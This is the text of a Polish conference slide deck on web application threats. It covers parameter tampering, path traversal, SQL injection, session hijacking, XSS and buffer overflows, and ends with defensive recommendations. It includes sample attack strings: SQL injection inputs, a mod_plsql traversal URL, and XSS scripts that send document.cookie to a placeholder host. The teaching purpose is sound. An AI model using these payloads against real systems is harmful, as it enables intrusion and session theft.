Aplikacje internetowe - Zagrożenia i metody ataku Wojciech Dworakowski
Agenda Aplikacja internetowa Trywialne zagrożenia Ukryte parametry Brak obsługi błędów Manipulacje parametrami doklejanie parametrów parametry w cookies
Agenda c.d. Agenda c.d. Path traversal Parameter injection SQL injection Ataki na sesje Cross-site scripting Buffer overflow
Aplikacja internetowa Aplikacja internetowa Dynamiczne strony WWW Kod wykonywany jest na serwerze aplikacji Komunikacja z klientem przez strony HTML za pośrednictwem protokołu HTTP Dane od klienta pobierane przy użyciu formularzy HTML i przesyłane metodą GET lub POST Klient standardowa przeglądarka WWW
Architektura schemat pochodzi z dokumentacji Oracle
Architektura HTTP Oracle HTTP Server OC4J 9iAS PL/SQL Metadata DBMS Web Cache Web Cache
Trywialne zagrożenia Trywialne zagrożenia Pozostawienie fragmentów charakterystycznych dla fazy rozwoju Placeholders Zidentyfikowane błędy Debugging Komentarze Stare wersje plików Informacja w znacznikach META autor, wersja oprogramowania developerskiego
Przykład Komentarze w HTML HTML jest generowany dynamicznie przez skrypt, na serwerze aplikacji Komentarze automatycznie generowane przez narzędzia developerskie Komentarze programistów: The following hidden field must be set to 1 or XYZasp breaks Don t change the order of these table fields
Stare wersje plików Stare wersje plików Powszechnie stosowana praktyka: plik.jsp plik.jsp plik.jsp.old Jeżeli jest ustawiony standardowy typ MIME: DefaultType text/plain to można ściągnąć taki plik.old
Ukryte parametry Ukryte parametry Często stosowaną praktyką jest zapamiętywanie zmiennych, po stronie klienta w ukrytych polach formularzy <input name="x type="hidden value=1> Jeśli zapamiętują istotne dane, to ich modyfikacja może prowadzić do skutecznego ataku
Techniki modyfikowania parametrów Techniki modyfikowania parametrów ukrytych Parametry mogą być przekazywane metodą GET lub POST 1. Zapisać plik HTML na dysku, zmienić wartość zmiennej i uruchomić plik w przeglądarce 2. Zastosować lokalne proxy potrafiące w locie modyfikować ruch HTML @Stake WebProxy Odysseus
Lokalne proxy Lokalne proxy Narzędzie ułatwiające modyfikowanie zleceń HTTP w locie Działa lokalnie (127.0.0.1) na stacji intruza Adres 127.0.0.1 i port proxy należy skonfigurować w przeglądarce Przechwytuje i modyfikuje ruch w locie (interaktywnie lub automatycznie)
Lokalne proxy (c.d.) Lokalne proxy (c.d.) klient: Pozwala na podgląd i modyfikowanie sesji HTTPS (SSL) Metoda Man in the middle SSL(1) 127.0.0.1:50000 serwer: Browser local proxy SSL(2) 443 brak szyfrowania
Przeklejanie ceny Przeklejanie ceny Sklep internetowy Po wybraniu towaru, aplikacja ustawia zmienna oznaczająca wartość zakupów Błąd: zmienna jest przechowywana po stronie klienta (ukryte pole, cookie) Atak: zmodyfikowanie tej zmiennej przy użyciu lokalnego proxy
Doklejanie parametru Doklejanie parametru W niektórych językach skryptowych (PHP) parametry pobierane od użytkownika są automatycznie rejestrowane jako zmienne globalne Powszechnym błędem jest brak inicjowania zmiennych Jeżeli intruz przewidzi nazwę zmiennej i nada jej wartość, to będzie w stanie zmienić logikę działania aplikacji
Doklejanie parametru - przykład if (sprawdz_w_bazie($login,$pass)) { $state="ok"; // ustawienie flagi }... if ($state == "OK") { // sprawdzenie flagi UWIERZYTELNIENIE OK } else { BŁĄD! } http://serwer/login.php?login=x&pass=y&state= OK
Doklejanie parametru - JSP Podatny może być również kod JSP Całość danych jest zgrupowana w obiekcie JavaBean Wartości parametrów z formularza HTML są przekazywane przy użyciu metaznaku * <jsp:usebean id="mybasket" class="basketbean"> <jsp:setproperty name="mybasket" property="*"/> <jsp:usebean>
Doklejanie parametru - JSP <html> <head><title>your Basket</title></head> <body> <p> You have added the item <jsp::getproperty name="mybasket" property="newitem"/> to your basket. <br/> Your total is $ <jsp::getproperty name="mybasket" property="balance"/> Proceed to <a href="checkout.jsp">checkout</a> Atak: http://server/addtobasket.jsp? newitem=item123&balance=1
Brak obsługi systuacji specjalnych Brak obsługi systuacji specjalnych Wszystkie sytuacje specjalne (błędy) powinny zostać świadomie obsłużone przez aplikacje Sytuacja specjalna (np. brak parametru, którego spodziewa się aplikacja) może doprowadzić do zmiany logiki działania aplikacji
Parametry w cookies Parametry w cookies Analogiczne metody można stosować dla parametrów przekazywanych w cookies Do modyfikowania można wykorzystać local proxy Typowe cele ataku: identyfikator sesji flaga (np. oznaczająca stan uwierzytelnienia) lang=en-us; AUTHORIZED=yes; y=1 ; time=12:30gmt;
Path traversal Path traversal Klasa ataków polegająca na dostaniu się do pliku/katalogu na serwerze, normalnie niedostępnego Zagrożenie wiąże się z wykorzystywaniem przez aplikacje parametrów pobieranych ze środowiska użytkownika do konstruowania nazwy pliku
Path traversal - przykład Atak przez nagłówek HTTP Nagłówek Accept-Language jest ustawiany przez przeglądarkę Nagłówek ten jest wykorzystywany do skonstruowania nazwy pliku z odpowiednią wersją językową Atakujący modyfikując ten nagłówek może pozyskać dowolny plik
Path traversal Oracle 9iAS Tego typu błąd istniał np. w 9iAS 1.0.2 w module mod_plsql http://oracleserver/pls/dadname/ admin_/help/..%255cplsql.conf %25 % %5C / w rezultacie: /../plsql.conf
Przykład Błędy nakładają się na siebie Doklejanie parametrów + Path traversal
OS command injection OS command injection Aplikacja przekazuje parametry ze środowiska użytkownika do wywołania systemowego funkcja API wywołanie komendy Jeżeli parametry te nie są sprawdzane, to można: dokleić swoje parametry wywołać inną komendę
SQL injection - przyczyny Brak sprawdzania parmetrów przekazywanych od użytkownika Konstrukcja zapytań SQL przez sklejanie statycznego SQL z parametrami, np: String query = "SELECT * FROM USER_RECORDS WHERE USER = " + request.getparameter("username"); ResultSet result = Statement.executeQuery(query);
SQL injection - atak Doklejenie do parametru swojego kodu Np: username = x or 1=1 SELECT * FROM USER_RECORDS WHERE USER = x or 1=1 username = x union select * from all_users SELECT * FROM USER_RECORDS WHERE USER = x UNION SELECT * FROM all_users
SQL-injection - skutki Niekontrolowany dostęp do danych... UNION SELECT... Zmiana logiki działania aplikacji... OR 1=1 W wielu silnikach SQL jest możliwe wykonanie kilku działań w jednej linii... ; DELETE * FROM...
SQL-injection skutki (c.d.) Modyfikacja danych Przykład funkcja zmieniająca hasło: String query = UPDATE users SET password = + haslo + WHERE username = + uzytkownik + ; haslo: ooops! uzytkownik: x OR username LIKE admin
Podszycie się pod inną sesje Podszycie się pod inną sesje HTTP jest protokołem bezstanowym Każde odwołanie jest traktowane osobno Aplikacje WWW wymagają obsługi sesji (kojarzenia wielu odwołań w jedną sesje) Aplikacja implementuje kontrolę sesji za pomocą identyfikatora sesji (tokena) Zwykle w cookie użytkownika Żeby podszyć się pod inną sesję wystarczy znać jej token
Identyfikator sesji Identyfikator sesji Jak go poznać? Podsłuchać Przewidzieć jeżeli algorytm pozwala na przewidzenie wartości tokena (nie jest losowy) Wykradnąć
Ataki na ślepo Ataki na ślepo Jeżeli token sesji nie jest związany z adresem klienta Można podsłuchać i zapamiętać ruch sieciowy Następnie go powtórzyć (z ewentualnymi modyfikacjami)
Przewidywalny token Przewidywalny token Token powinien być generowany silnym algorytmem losowym Przestrzeń możliwych tokenów powinna być bardzo duża Złe praktyki: Token sekwencyjny Zależny od parametrów użytkownika Nieograniczony czasowo
Przewidywalny token (c.d.) Przewidywalny token (c.d.) Zwykle serwer aplikacji dba o nadawanie tokenów, a aplikacja korzysta z jego API Nie zawsze można polegać na serwerze Przykład: IBM WebSphere 4.0 TWGYLZIAAACVDQ3UUSZQV2I 10:27:12 TWGY0WYAAACVFQ3UUSZQV2I 10:27:13 TWGZNZAAAACVHQ3UUSZQV2I 10:27:14 TWG0BUYAAACVJQ3UUSZQV2I 10:27:15 TWG0VIAAAACVLQ3UUSZQV2I 10:27:16 TWG1ICIAAACVNQ3UUSZQV2I 10:27:17 TWG111YAAACVPQ3UUSZQV2I 10:27:18 Da się odgadnąć algorytm Można przeszukać całą przestrzeń tokena
Wykradnięcie tokena Wykradnięcie tokena Słabości: Przeglądarek Standardowo cookie jest dostępne tylko dla serwera który je wydał http://www.intruz.org%2fcookie.html%3f.yahoo.com http://www.intruz.org/cookie.html?.yahoo.com Serwerów Np: PHP4 zapisywało tokeny w katalogu /tmp na serwerze Cross-site scripting
Cross-site site scripting Atak na użytkownika Za pomocą aplikacji (nosiciela) Istota ataku: Wykonanie kodu HTML na przeglądarce ofiary (bez jej wiedzy), za pomocą podatnej aplikacji (nosiciela)
Cross-site site scripting - przykład Aplikacja WWW obsługuje chat-room Intruz w nowej wiadomości umieszcza tagi HTML i skrypt kliencki (JavaScript, VBS) Ofiara przegląda wiadomość za pośrednictwem aplikacji HTML jest interpretowany i wykonywany po stronie klienta
Cele ataków Cele ataków Załadowanie strony z innego serwera: <script>document.write('<img src= "http://zly.com/atak.js )</script> Wykradnięcie informacji np. cookie: <script>document.write('<img src= "http://zly.com/'+document.cookie+'") </script> Wykradnięta informacja znajdzie się w logach serwera zly.com
Cross-site site scripting metody ataku Generalna zasada: Aplikacja nosiciela wyświetla na generowanych stronach parametr pobierany od użytkownika nie sprawdzając go Chat-room i inne aplikacje pobierające tekst od użytkownika XSS w parametrach GET link w e-mailu link na stronie www
Buffer overflow Buffer overflow Dotyczy języków nie kontrolujących pamięci (np. C, C++) np. skrypty CGI Jedna z najpopularniejszych metod ataku na różne aplikacje Zagrożenie: Brak sprawdzania przez aplikacje długości wprowadzonego przez użytkownika ciągu przepełnienie bufora i nadpisanie pamięci
Buffer overflow atak na zmienne pamięć (stos): 128b xxxxxxxxxxxxxxxx0
Buffer overflow wykonanie kodu Organizacja stosu przy wywołaniu procedury: 1. adres powrotu z procedury: n. atakowana zmienna: 2. zmienne: atak: kod maszynowy intruza
Buffer overflow Buffer overflow Elias Levy: Smashing The Stack For Fun And profit Phrack (listopad 1996) Ataki tego typu są możliwe na same serwery aplikacyjne lub przeglądarki WWW Oracle 9iAS wykrytych kilka dziur tego typu: moduł WebDAV URL pliku isql*plus login mod_plsql HTTP authorization mod_plsql help URI
Podsumowanie Błędy w aplikacjach jest dość ciężko znaleźć W praktyce nie da się zastosować narzędzi automatycznych Nie wszystkie ataki da się zablokować
Co robić? Co robić? Przede wszystkim stosować dobre praktyki na etapie projektowania i programowania Edukować programistów w zakresie metod ataku Stosować zewnętrzne środki zabezpieczające (IDS, application firewall) Uwaga: środki uzupełniające! Nie zastąpią bezpiecznego programowania
Utrzymanie poziomu bezpieczeństwa Utrzymanie poziomu bezpieczeństwa Bezpieczeństwo nie jest stanem, bezpieczeństwo jest procesem Aplikacje i ich środowisko działania podlegają ciągłym zmianom Okresowo należy sprawdzać ich bezpieczeństwo Przeglądy kodu czasochłonne Testy penetracyjne o wiele szybsze Monitorowanie logów serwerów
Pytania? http://www.securing.pl http://www.ipsec.pl Wojciech Dworakowski wojciech.dworakowski@securing.pl